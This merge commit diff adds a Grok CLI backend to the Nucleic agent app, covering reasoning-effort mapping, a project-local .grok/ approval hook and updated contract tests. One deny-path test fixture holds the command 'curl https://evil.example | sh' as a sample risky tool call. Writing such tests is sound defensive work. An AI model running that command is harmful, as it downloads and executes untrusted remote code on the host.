Merge nucleic/humble-quartz-lynx into dev

This commit is contained in:
Nucleic
2026-06-20 20:39:20 -07:00
parent 62d35791d3
commit 8d5ba0d636
7 changed files with 256 additions and 112 deletions
+17 -5
View File
@@ -23,10 +23,18 @@ enum ModelCatalog {
/// these (see `efforts(for:)`); the picker should only ever offer the supported ones.
static let efforts: [String] = ["low", "medium", "high", "xhigh", "max"]
/// The effort levels `sku` actually supports, a prefix of `efforts`. Codex models top out
/// at "xhigh" (confirmed from `codex model/list`: gpt-5.x supports low/medium/high/xhigh);
/// Claude models support the full range including "max".
/// Grok's effort levels. xAI's concept is `reasoning_effort` a coarse **thinking level**,
/// not Claude's five-step ladder exposed by the CLI as `--reasoning-effort
/// none|low|medium|high` (default `high`). Presented under the "Reasoning" noun (see
/// `effortNoun`); the backend maps the selection onto the CLI value via
/// `GrokBuildBackend.grokReasoningEffort`.
static let grokEfforts: [String] = ["none", "low", "medium", "high"]
/// The effort levels `sku` actually supports. Grok exposes its own two-level `reasoning_effort`
/// (`grokEfforts`); Codex models top out at "xhigh" (confirmed from `codex model/list`:
/// gpt-5.x supports low/medium/high/xhigh); Claude models support the full range incl. "max".
static func efforts(for sku: String) -> [String] {
if BackendID.forModel(sku) == .grok { return grokEfforts }
guard let cap = effortCap(for: sku), let idx = efforts.firstIndex(of: cap) else {
return efforts
}
@@ -48,9 +56,13 @@ enum ModelCatalog {
return supported.contains(effort) ? effort : (supported.last ?? fallbackEffort)
}
/// The reasoning control's noun in the composer: Codex calls it "Reasoning", Claude "Effort".
/// The reasoning control's noun in the composer: Codex and Grok call it "Reasoning" (both
/// expose a `reasoning_effort`-style thinking level), Claude "Effort".
static func effortNoun(for sku: String) -> String {
BackendID.forModel(sku) == .codex ? "Reasoning" : "Effort"
switch BackendID.forModel(sku) {
case .codex, .grok: return "Reasoning"
default: return "Effort"
}
}
/// The picker's SKUs split into per-provider runs, preserving `models` order, so the
+42 -24
View File
@@ -36,10 +36,13 @@ public actor GrokBuildBackend: AgentBackend {
/// is on"). Inferred vocabulary (GROK_ADAPTER §1): default|dontAsk|acceptEdits|
/// bypassPermissions|plan.
public var permissionMode: String
/// Pass the inferred hook-config CLI args (`--hooks-config `) in addition to the env.
/// Both point Grok at the generated hook config; which one the CLI honors is part of the
/// §2 validation backlog, so we set both and let the spike prune.
public var passHooksConfigArgs: Bool
/// The CLI flag that sets Grok's **reasoning effort** xAI's `reasoning_effort` concept
/// (a `none`/`low`/`medium`/`high` thinking level, default `high`), which is NOT Claude's
/// `--effort` (Grok has no `--effort`, and passing an unknown flag makes `grok` exit 2
/// the original cause of the `--hooks-config` crash). The selected effort is mapped to one
/// of those values via `grokReasoningEffort(from:)` and passed as `<flag> <value>`. Set to
/// `nil` to omit the flag entirely. See `ModelCatalog.grokEfforts` / `effortNoun`.
public var reasoningEffortFlag: String?
/// Directory for the optional raw native-stream capture (OBSERVABILITY A.5); nil = off.
public var captureDirectory: URL?
public var now: @Sendable () -> Date
@@ -47,13 +50,13 @@ public actor GrokBuildBackend: AgentBackend {
public init(
executable: String = "grok",
permissionMode: String = "dontAsk",
passHooksConfigArgs: Bool = true,
reasoningEffortFlag: String? = "--reasoning-effort",
captureDirectory: URL? = nil,
now: @escaping @Sendable () -> Date = { Date() }
) {
self.executable = executable
self.permissionMode = permissionMode
self.passHooksConfigArgs = passHooksConfigArgs
self.reasoningEffortFlag = reasoningEffortFlag
self.captureDirectory = captureDirectory
self.now = now
}
@@ -72,8 +75,8 @@ public actor GrokBuildBackend: AgentBackend {
private var continuation: AsyncThrowingStream<AgentEvent, Error>.Continuation?
private var sessionID: SessionID?
private var serverToken: String?
/// Per-session temp dir holding the generated hook script + config; removed at teardown.
private var hookDirectory: URL?
/// The generated `.grok/` hook config for the active run; cleaned up at teardown.
private var hookConfig: GrokHookConfig?
private var provisionalSeq: UInt64 = 0
private var interruptRequested = false
private var terminating = false
@@ -188,26 +191,33 @@ public actor GrokBuildBackend: AgentBackend {
return await self.handleApprovalCall(call)
}
// 2. Generate the PreToolUse hook script + config into a per-session temp dir.
// 2. Generate the PreToolUse hook script + config into the worktree's project-local
// `.grok/` (the documented discovery path GROK_ADAPTER §1). Excluded from git and
// removed at teardown.
let serverURL = "http://127.0.0.1:\(port)\(MCPApprovalServer.grokHookPath)"
let hookDir = Self.makeHookDirectory(for: run.sessionID)
hookDirectory = hookDir
let hookConfig = try GrokHookConfig.generate(
in: hookDir, serverURL: serverURL, token: token)
inWorktree: run.worktree, serverURL: serverURL, token: token)
self.hookConfig = hookConfig
// 3. Build args + spawn (host-only). The prompt is a CLI argument (`-p "<prompt>"`),
// not a stdin stream, so stdin is closed.
// not a stdin stream, so stdin is closed. Grok discovers the hook from `.grok/`, so
// no hook-config flag is passed (an unknown flag makes `grok` exit 2).
var args = [
"-p", promptText,
"--output-format", "streaming-json",
"--permission-mode", configuration.permissionMode,
]
if let model = run.model { args += ["--model", model] }
// Reasoning effort (Grok's `--reasoning-effort none|low|medium|high`, default high).
if let flag = configuration.reasoningEffortFlag {
args += [flag, Self.grokReasoningEffort(from: run.effort)]
}
if let resumeSessionID { args += ["--session", resumeSessionID] }
if configuration.passHooksConfigArgs { args += hookConfig.hooksConfigArgs }
args += run.extraArgs
let env = hookConfig.hooksConfigEnv.merging(run.extraEnv) { _, new in new }
// `.grok/` is the discovery mechanism; the only env we add is a diagnostic pointer
// for the fake-grok test stub (real `grok` ignores `NUCLEIC_*`).
let env = hookConfig.diagnosticEnv.merging(run.extraEnv) { _, new in new }
let spec = ProcessSpec(
executable: configuration.executable,
args: args,
@@ -298,16 +308,14 @@ public actor GrokBuildBackend: AgentBackend {
}
/// Release everything the just-finished run held: the approval-server bearer token, the
/// generated hook directory, and the process handle.
/// generated `.grok/` hook config (restoring any user files), and the process handle.
private func teardownRun() async {
if let serverToken {
await approvalServer.unregister(token: serverToken)
self.serverToken = nil
}
if let hookDirectory {
try? FileManager.default.removeItem(at: hookDirectory)
self.hookDirectory = nil
}
hookConfig?.cleanup()
hookConfig = nil
self.handle = nil
}
@@ -395,10 +403,20 @@ public actor GrokBuildBackend: AgentBackend {
kind: kind))
}
private static func makeHookDirectory(for sessionID: SessionID) -> URL {
FileManager.default.temporaryDirectory
.appendingPathComponent("nucleic-grok-\(sessionID.short)-\(UUID().uuidString.prefix(8))",
isDirectory: true)
/// Map Nucleic's generic effort level onto Grok's `--reasoning-effort` value
/// `none`/`low`/`medium`/`high`, with `high` the default (confirmed against the CLI). The
/// shared low/medium/high names pass straight through; Claude's higher rungs (`xhigh`/`max`)
/// and `orchestra` saturate at `high`; `minimal` `none`; an empty/unrecognized/absent
/// effort defaults to `high`. Always returns a value so the flag is passed with a valid level.
static func grokReasoningEffort(from effort: String?) -> String {
switch effort?.lowercased() {
case "none": return "none"
case "minimal": return "none"
case "low": return "low"
case "medium": return "medium"
case "high", "xhigh", "max": return "high"
default: return "high" // orchestra, empty, or anything unrecognized grok's default
}
}
private func makeCaptureFile() throws -> GrokCaptureFile? {
+124 -47
View File
@@ -6,75 +6,108 @@ import Foundation
/// event on **stdin** and reads a decision on **stdout**, and the hook can deny the call (even
/// under auto-approve) that is the interactive-approval seam.
///
/// **Discovery is project-local `.grok/`** (GROK_ADAPTER §1, documented-stable): Grok reads
/// `.grok/hooks.json` + `.grok/hooks/pre_tool.sh` from the working directory. So we write into
/// the session's worktree `.grok/` NOT via a CLI flag (an earlier `--hooks-config` guess made
/// `grok` exit 2 with "unexpected argument") and NOT via a relocating config-dir env (that would
/// move `grok` away from the user's real `~/.grok` login and break auth). The files are excluded
/// from the worktree's git (so they never show in the diff or get committed) and removed at
/// teardown; a pre-existing user `hooks.json` is backed up and restored.
///
/// The generated script is the adapter between Grok's hook contract and our HTTP server: it
/// reads the PreToolUse event, POSTs `{tool_name,input,tool_call_id}` to `POST /grok-hook` with
/// the per-session bearer token (where the request suspends on `ApprovalCoordinator` until a
/// human answers the same Mac/iPhone UX as Claude), then prints Grok's allow/deny JSON.
///
/// **Inferred surface (GROK_ADAPTER §2, items 2 & 4 re-pin against a real capture).** Two
/// pieces are xAI's contract, not ours, and are confined to this file so a spike finding is a
/// local edit: (a) how Grok finds the hook config `hooksConfigEnv`/`hooksConfigArgs`; and
/// (b) the stdin event field names + the stdout decision shape baked into `script`. The script
/// accepts several plausible field spellings and emits a Claude-Code-compatible decision object
/// (Grok mirrors that hook surface), so it is robust to the most likely shapes.
/// **Inferred surface (GROK_ADAPTER §2, item 2 re-pin against a real capture).** The stdin
/// event field names + the stdout decision shape are xAI's contract, not ours, and are confined
/// to `renderScript`. The script accepts several plausible field spellings and emits a
/// Claude-Code-compatible decision object (Grok mirrors that hook surface).
public struct GrokHookConfig: Sendable {
/// Absolute path to the per-session config directory holding `hooks.json` + the script.
public let directory: URL
/// Absolute path to the generated PreToolUse hook script.
public let scriptPath: URL
/// Absolute path to the generated `hooks.json`.
/// `<worktree>/.grok`.
public let grokDir: URL
/// `<worktree>/.grok/hooks.json`.
public let configPath: URL
/// `<worktree>/.grok/hooks/pre_tool.sh` (the conventional name Grok auto-discovers).
public let scriptPath: URL
private init(directory: URL, scriptPath: URL, configPath: URL) {
self.directory = directory
self.scriptPath = scriptPath
self.configPath = configPath
}
/// Cleanup bookkeeping: only remove what we created, and restore a user's prior hooks.json.
private let createdGrokDir: Bool
private let createdHooksDir: Bool
private let priorConfig: Data?
private let pythonScriptPath: URL
/// Write the hook script + `hooks.json` under `directory`, wired to reach `serverURL`
/// (e.g. `http://127.0.0.1:<port>/grok-hook`) with `token`. `directory` is created if
/// needed; the script is made executable.
@discardableResult
public static func generate(in directory: URL, serverURL: String, token: String) throws
-> GrokHookConfig
/// Write the `.grok/` hook config into `worktreePath`, wired to reach `serverURL`
/// (e.g. `http://127.0.0.1:<port>/grok-hook`) with `token`. Idempotent-safe: backs up and
/// later restores any existing `.grok/hooks.json`.
public static func generate(inWorktree worktreePath: String, serverURL: String, token: String)
throws -> GrokHookConfig
{
let fm = FileManager.default
let hooksDir = directory.appendingPathComponent("hooks", isDirectory: true)
let worktree = URL(fileURLWithPath: worktreePath, isDirectory: true)
let grokDir = worktree.appendingPathComponent(".grok", isDirectory: true)
let hooksDir = grokDir.appendingPathComponent("hooks", isDirectory: true)
let createdGrokDir = !fm.fileExists(atPath: grokDir.path)
let createdHooksDir = !fm.fileExists(atPath: hooksDir.path)
try fm.createDirectory(at: hooksDir, withIntermediateDirectories: true)
let scriptPath = hooksDir.appendingPathComponent("pre_tool.py")
let script = renderScript(serverURL: serverURL, token: token)
try script.write(to: scriptPath, atomically: true, encoding: .utf8)
// rwxr-x--- : the agent (and Grok) must execute it; no world access (it carries the token).
try fm.setAttributes([.posixPermissions: 0o750], ofItemAtPath: scriptPath.path)
// The real logic lives in a Python script (present on macOS dev hosts via the Xcode CLT);
// the conventional `pre_tool.sh` is a thin wrapper so both the hooks.json `command` and
// any convention-based auto-discovery of `pre_tool.sh` reach the same code.
let pyPath = hooksDir.appendingPathComponent("pre_tool.py")
try renderScript(serverURL: serverURL, token: token).write(
to: pyPath, atomically: true, encoding: .utf8)
try fm.setAttributes([.posixPermissions: 0o750], ofItemAtPath: pyPath.path)
let configPath = directory.appendingPathComponent("hooks.json")
let config = renderConfig(scriptPath: scriptPath.path)
try config.write(to: configPath, atomically: true, encoding: .utf8)
let shPath = hooksDir.appendingPathComponent("pre_tool.sh")
try "#!/bin/sh\nexec python3 \(shellQuote(pyPath.path))\n".write(
to: shPath, atomically: true, encoding: .utf8)
try fm.setAttributes([.posixPermissions: 0o750], ofItemAtPath: shPath.path)
return GrokHookConfig(directory: directory, scriptPath: scriptPath, configPath: configPath)
let configPath = grokDir.appendingPathComponent("hooks.json")
let priorConfig = fm.contents(atPath: configPath.path)
try renderConfig(command: shPath.path).write(to: configPath, atomically: true, encoding: .utf8)
// Keep `.grok/` out of git: never in the session diff, never `git add -A`'d by the agent.
addGitExclude(worktreePath: worktreePath, pattern: ".grok/")
return GrokHookConfig(
grokDir: grokDir, configPath: configPath, scriptPath: shPath,
createdGrokDir: createdGrokDir, createdHooksDir: createdHooksDir,
priorConfig: priorConfig, pythonScriptPath: pyPath)
}
/// Environment that points Grok at this hook config (inferred GROK_ADAPTER §2). Set on the
/// spawned `grok` process. We export several plausible keys so the right one takes effect
/// regardless of which the CLI actually reads; extras are harmless.
public var hooksConfigEnv: [String: String] {
[
"GROK_CONFIG_DIR": directory.path,
"GROK_HOOKS_CONFIG": configPath.path,
]
/// Remove what we wrote and restore any user `hooks.json` we displaced. Best-effort.
public func cleanup() {
let fm = FileManager.default
try? fm.removeItem(at: pythonScriptPath)
try? fm.removeItem(at: scriptPath)
if let priorConfig {
try? priorConfig.write(to: configPath)
} else {
try? fm.removeItem(at: configPath)
}
// Remove dirs we created, only if now empty (don't disturb a user's own `.grok/`).
let hooksDir = scriptPath.deletingLastPathComponent()
if createdHooksDir, (try? fm.contentsOfDirectory(atPath: hooksDir.path))?.isEmpty == true {
try? fm.removeItem(at: hooksDir)
}
if createdGrokDir, (try? fm.contentsOfDirectory(atPath: grokDir.path))?.isEmpty == true {
try? fm.removeItem(at: grokDir)
}
}
/// CLI args that point Grok at this hook config (inferred GROK_ADAPTER §2), appended after
/// the core flags. Kept separate from `hooksConfigEnv` so the spike can settle which path
/// Grok honors without touching the backend.
public var hooksConfigArgs: [String] {
["--hooks-config", configPath.path]
/// A diagnostic env var pointing at the generated `hooks.json` (consumed by the `fake-grok`
/// test stub to find the bridge; real `grok` ignores `NUCLEIC_*`). Not how Grok discovers
/// the hook that's project-local `.grok/` so it can never relocate Grok's config/auth.
public var diagnosticEnv: [String: String] {
["NUCLEIC_GROK_HOOKS_CONFIG": configPath.path]
}
/// The `hooks.json` Grok loads the Claude-Code-compatible PreToolUse shape (matcher `*`
/// run our command for every tool call), which Grok mirrors (GROK_ADAPTER §1).
static func renderConfig(scriptPath: String) -> String {
static func renderConfig(command: String) -> String {
JSONValue.object([
"hooks": .object([
"PreToolUse": .array([
@@ -83,7 +116,7 @@ public struct GrokHookConfig: Sendable {
"hooks": .array([
.object([
"type": .string("command"),
"command": .string(scriptPath),
"command": .string(command),
])
]),
])
@@ -165,6 +198,8 @@ public struct GrokHookConfig: Sendable {
"""
}
// MARK: - helpers
/// A safe double-quoted string literal for `value` (JSON string syntax, which is also a
/// valid Python `str` literal for plain values), robust to embedded quotes/backslashes.
/// Built by encoding a one-element array and stripping the brackets, so it never depends on
@@ -174,4 +209,46 @@ public struct GrokHookConfig: Sendable {
.map { String(decoding: $0, as: UTF8.self) } ?? "[\"\"]"
return String(encoded.dropFirst().dropLast())
}
/// Single-quote a path for safe embedding in the `/bin/sh` wrapper.
static func shellQuote(_ path: String) -> String {
"'" + path.replacingOccurrences(of: "'", with: "'\\''") + "'"
}
/// Append `pattern` to the worktree's git exclude so the generated `.grok/` never appears in
/// the session diff or gets committed. Handles both a normal `.git` directory and a linked
/// worktree (`.git` is a `gitdir: ` file). Best-effort silently no-ops outside a repo.
static func addGitExclude(worktreePath: String, pattern: String) {
let fm = FileManager.default
let dotGit = URL(fileURLWithPath: worktreePath).appendingPathComponent(".git")
var isDir: ObjCBool = false
guard fm.fileExists(atPath: dotGit.path, isDirectory: &isDir) else { return }
let infoDir: URL
if isDir.boolValue {
infoDir = dotGit.appendingPathComponent("info", isDirectory: true)
} else if let content = try? String(contentsOf: dotGit, encoding: .utf8),
let line = content.split(separator: "\n").first(where: { $0.hasPrefix("gitdir:") })
{
// Linked worktree: `.git` is `gitdir: <common>/worktrees/<name>`. Git reads the
// *common* `info/exclude` (confirmed via `git rev-parse --git-path info/exclude`),
// not the per-worktree gitdir's so resolve back to the common dir.
let gitDir = line.dropFirst("gitdir:".count).trimmingCharacters(in: .whitespaces)
let commonDir = gitDir.range(of: "/worktrees/").map { String(gitDir[..<$0.lowerBound]) }
?? gitDir
infoDir = URL(fileURLWithPath: commonDir).appendingPathComponent("info", isDirectory: true)
} else {
return
}
try? fm.createDirectory(at: infoDir, withIntermediateDirectories: true)
let exclude = infoDir.appendingPathComponent("exclude")
let existing = (try? String(contentsOf: exclude, encoding: .utf8)) ?? ""
guard !existing.split(separator: "\n").contains(where: { $0.trimmingCharacters(in: .whitespaces) == pattern })
else { return }
let updated = existing.isEmpty || existing.hasSuffix("\n")
? existing + pattern + "\n"
: existing + "\n" + pattern + "\n"
try? updated.write(to: exclude, atomically: true, encoding: .utf8)
}
}
+22 -15
View File
@@ -57,10 +57,11 @@ struct FakeGrok {
// MARK: - PreToolUse hook round-trip (GROK_ADAPTER §3, Tier A)
/// Discover the approval bridge the way Grok's real hook would from the `hooks.json` the
/// adapter generated (located via `GROK_HOOKS_CONFIG` env or the `--hooks-config` argv flag)
/// the hook script its `SERVER_URL` / `AUTH` literals then POST the gated call to
/// `/grok-hook` and assert the reply behavior.
/// Discover the approval bridge the way Grok's real hook would from the project-local
/// `.grok/hooks.json` the adapter generated in the worktree (the diagnostic
/// `NUCLEIC_GROK_HOOKS_CONFIG` env points straight at it) the hook script its
/// `SERVER_URL` / `AUTH` literals then POST the gated call to `/grok-hook` and assert the
/// reply behavior.
static func performApproval(_ directive: JSONValue) async {
guard let (url, authorization) = discoverHookBridge() else {
die(5, "could not discover the grok hook bridge from the generated config")
@@ -100,30 +101,36 @@ struct FakeGrok {
}
}
/// Read the generated `hooks.json` hook script `(server URL, Authorization header)`.
/// Read the generated `.grok/hooks.json` hook script `(server URL, Authorization header)`.
/// The configured `command` is the `pre_tool.sh` wrapper; the `SERVER_URL` / `AUTH` literals
/// live in the sibling `pre_tool.py`, so read that (falling back to the command file itself).
private static func discoverHookBridge() -> (URL, String)? {
guard let configPath = hooksConfigPath(),
let configData = try? Data(contentsOf: URL(fileURLWithPath: configPath)),
let config = try? JSONValue(parsing: configData),
let scriptPath = config["hooks"]?["PreToolUse"]?[0]?["hooks"]?[0]?["command"]?.stringValue,
let script = try? String(contentsOfFile: scriptPath, encoding: .utf8)
let commandPath = config["hooks"]?["PreToolUse"]?[0]?["hooks"]?[0]?["command"]?.stringValue
else { return nil }
guard let serverURL = literal(named: "SERVER_URL", in: script),
let pyPath = URL(fileURLWithPath: commandPath)
.deletingLastPathComponent().appendingPathComponent("pre_tool.py").path
let script = (try? String(contentsOfFile: pyPath, encoding: .utf8))
?? (try? String(contentsOfFile: commandPath, encoding: .utf8))
guard let script,
let serverURL = literal(named: "SERVER_URL", in: script),
let auth = literal(named: "AUTH", in: script),
let url = URL(string: serverURL)
else { return nil }
return (url, auth)
}
/// `hooks.json` path: `GROK_HOOKS_CONFIG` env, else the value after `--hooks-config` in argv.
/// `hooks.json` path: the diagnostic `NUCLEIC_GROK_HOOKS_CONFIG` env the adapter sets, else
/// the project-local `.grok/hooks.json` in the cwd (the worktree) exactly where the real
/// Grok PreToolUse hook is discovered.
private static func hooksConfigPath() -> String? {
if let env = ProcessInfo.processInfo.environment["GROK_HOOKS_CONFIG"] { return env }
let args = CommandLine.arguments
if let index = args.firstIndex(of: "--hooks-config"), args.indices.contains(index + 1) {
return args[index + 1]
}
return nil
if let env = ProcessInfo.processInfo.environment["NUCLEIC_GROK_HOOKS_CONFIG"] { return env }
let cwd = FileManager.default.currentDirectoryPath
let local = cwd + "/.grok/hooks.json"
return FileManager.default.fileExists(atPath: local) ? local : nil
}
/// Parse a `NAME = "<json string>"` line out of the generated Python hook script.
@@ -9,20 +9,24 @@ import Testing
/// round-trip against the in-process server discovering the bridge from the generated
/// `hooks.json` exactly as Grok's real PreToolUse hook would. No `grok` installed, no cost.
@Suite struct FakeGrokContractTests {
private func writeFixture(_ body: String) throws -> URL {
let dir = FileManager.default.temporaryDirectory
/// A fresh sandbox dir: a `worktree/` the backend writes its `.grok/` hooks into, plus the
/// fixture file. Returned so each test can clean it up; the backend's teardown removes the
/// `.grok/` it created, and the test removes the rest.
private func makeSandbox(fixture body: String) throws -> (worktree: URL, fixture: URL, root: URL) {
let root = FileManager.default.temporaryDirectory
.appendingPathComponent("nucleic-fakegrok-\(UUID().uuidString)")
try FileManager.default.createDirectory(at: dir, withIntermediateDirectories: true)
let url = dir.appendingPathComponent("fixture.jsonl")
try body.write(to: url, atomically: true, encoding: .utf8)
return url
let worktree = root.appendingPathComponent("worktree")
try FileManager.default.createDirectory(at: worktree, withIntermediateDirectories: true)
let fixture = root.appendingPathComponent("fixture.jsonl")
try body.write(to: fixture, atomically: true, encoding: .utf8)
return (worktree, fixture, root)
}
@Test(.timeLimit(.minutes(1))) func approvalAllowRoundTripThroughHookBridge() async throws {
let fakeGrok = productsDirectory.appendingPathComponent("fake-grok").path
#expect(FileManager.default.isExecutableFile(atPath: fakeGrok))
let fixture = try writeFixture("""
let sandbox = try makeSandbox(fixture: """
{"type":"session.start","session_id":"grok-sess-allow","model":"grok-4","cwd":"/tmp","tools":["run_command"]}
{"type":"tool.call","id":"call_1","name":"Bash","input":{"command":"rm -rf build/"}}
{"__fake__":"sleep","ms":40}
@@ -31,15 +35,15 @@ import Testing
{"type":"model.message","message_id":"m1","text":"Removed the build directory."}
{"type":"session.end","outcome":"completed","usage":{"input_tokens":40,"output_tokens":20},"duration_ms":900}
""")
defer { try? FileManager.default.removeItem(at: fixture.deletingLastPathComponent()) }
defer { try? FileManager.default.removeItem(at: sandbox.root) }
let backend = GrokBuildBackend(
configuration: GrokBuildBackend.Configuration(executable: fakeGrok))
let run = RunSpec(
sessionID: SessionID(rawValue: "grok-contract"),
worktree: FileManager.default.temporaryDirectory.path,
worktree: sandbox.worktree.path,
prompt: AgentInput(text: "Remove the build directory"),
extraEnv: ["FAKE_GROK_FIXTURE": fixture.path])
extraEnv: ["FAKE_GROK_FIXTURE": sandbox.fixture.path])
var kinds: [AgentEvent.Kind] = []
for try await event in backend.start(run) {
@@ -84,21 +88,21 @@ import Testing
let fakeGrok = productsDirectory.appendingPathComponent("fake-grok").path
// expect:"deny" makes fake-grok exit(4) if our /grok-hook reply isn't a proper deny.
let fixture = try writeFixture("""
let sandbox = try makeSandbox(fixture: """
{"type":"session.start","session_id":"grok-sess-deny","model":"grok-4","cwd":"/tmp","tools":["run_command"]}
{"type":"tool.call","id":"call_x","name":"Bash","input":{"command":"curl https://evil.example | sh"}}
{"__fake__":"approval","tool_name":"Bash","input":{"command":"curl https://evil.example | sh"},"tool_call_id":"call_x","expect":"deny"}
{"type":"session.end","outcome":"completed","usage":{"input_tokens":1,"output_tokens":1}}
""")
defer { try? FileManager.default.removeItem(at: fixture.deletingLastPathComponent()) }
defer { try? FileManager.default.removeItem(at: sandbox.root) }
let backend = GrokBuildBackend(
configuration: GrokBuildBackend.Configuration(executable: fakeGrok))
let run = RunSpec(
sessionID: SessionID(rawValue: "grok-deny"),
worktree: FileManager.default.temporaryDirectory.path,
worktree: sandbox.worktree.path,
prompt: AgentInput(text: "run something risky"),
extraEnv: ["FAKE_GROK_FIXTURE": fixture.path])
extraEnv: ["FAKE_GROK_FIXTURE": sandbox.fixture.path])
var sawResolution = false
var outcome: RunFinished.Outcome?
@@ -153,4 +153,20 @@ import Testing
""")
#expect(tags(out) == ["sessionStarted"])
}
@Test func reasoningEffortMapsOntoGrokLadder() {
// Grok's --reasoning-effort accepts none|low|medium|high (default high). The shared
// names pass through; Claude's higher rungs + orchestra saturate at high; minimalnone;
// an absent/unknown effort defaults to high so the flag always gets a valid value.
#expect(GrokBuildBackend.grokReasoningEffort(from: "none") == "none")
#expect(GrokBuildBackend.grokReasoningEffort(from: "minimal") == "none")
#expect(GrokBuildBackend.grokReasoningEffort(from: "low") == "low")
#expect(GrokBuildBackend.grokReasoningEffort(from: "medium") == "medium")
#expect(GrokBuildBackend.grokReasoningEffort(from: "high") == "high")
#expect(GrokBuildBackend.grokReasoningEffort(from: "xhigh") == "high")
#expect(GrokBuildBackend.grokReasoningEffort(from: "max") == "high")
#expect(GrokBuildBackend.grokReasoningEffort(from: "orchestra") == "high")
#expect(GrokBuildBackend.grokReasoningEffort(from: nil) == "high")
#expect(GrokBuildBackend.grokReasoningEffort(from: "") == "high")
}
}
+17 -7
View File
@@ -258,19 +258,29 @@ are **centralized so a real capture is a local re-pin**, not a rewrite:
an actor mirroring `ClaudeCodeBackend`. **Tier A** approvals: a generated PreToolUse hook
([`GrokHookConfig`](../Sources/NucleicCore/Grok/GrokHookConfig.swift)) POSTs to the new
`MCPApprovalServer` `/grok-hook` route, which suspends on the same `ApprovalCoordinator`. Joins
the conflict-lock system like Claude. **🔴 the hook stdin/stdout contract and how Grok is
pointed at the hook config (`GROK_CONFIG_DIR` env vs `--hooks-config` flag) are inferred** —
both are set, and the contract is Claude-Code-compatible; prune after the spike.
the conflict-lock system like Claude. **Discovery is project-local `.grok/`** (✅ §1) — written
into the worktree, git-excluded, restored/removed at teardown — NOT a CLI flag (an earlier
`--hooks-config` guess made `grok` exit 2) and NOT a config-dir env (would relocate `~/.grok`
and break auth). **🔴 the hook stdin/stdout contract remains inferred** (Claude-Code-compatible);
re-pin after the spike.
- **Phase 4 — auth.** Blank-`XAI_API_KEY` purge added to `NucleicApp` init (host-only v1).
- **Phase 5 — catalog.** `grok-4` / `grok-code-fast` SKUs added; the picker doubles as the
backend selector.
- **Phase 5 — catalog & effort.** `grok-4` / `grok-code-fast` SKUs added; the picker doubles as
the backend selector. **Effort is Grok-native**: the picker offers `--reasoning-effort`'s
`none|low|medium|high` (default `high`) under the "Reasoning" noun — *not* Claude's
low→max ladder — and the backend maps the selection onto the verified CLI flag
(`grokReasoningEffort`). Claude's higher rungs + Orchestra saturate at `high`; `minimal`→`none`.
- **Phase 6 — wiring.** Factory dispatches `.grok → GrokBuildBackend`; Settings names Grok Build.
- **Phase 7 — tests.** `fake-grok` stub replays a streaming-json fixture and performs the real
`/grok-hook` round-trip; `FakeGrokContractTests` covers allow + deny end-to-end.
**Resolved against the real CLI:** the hook-config crash (`.grok/` project-local discovery, no
flag) and the reasoning-effort mechanism (`--reasoning-effort none|low|medium|high`, default
`high`).
**Still open (the spike settles these):** stdin follow-ups (assumed single-shot-per-turn, resume
via `--session`), partial/delta event existence (`model.delta` decoded speculatively), sandbox
auth seeding (deferred — host-only), and the exact `--permission-mode`/hook-config flags.
via `--session`), partial/delta event existence (`model.delta` decoded speculatively), the exact
streaming-json field names + PreToolUse hook stdin/stdout contract, the right `--permission-mode`
value for headless Tier A, and sandbox auth seeding (deferred — host-only).
---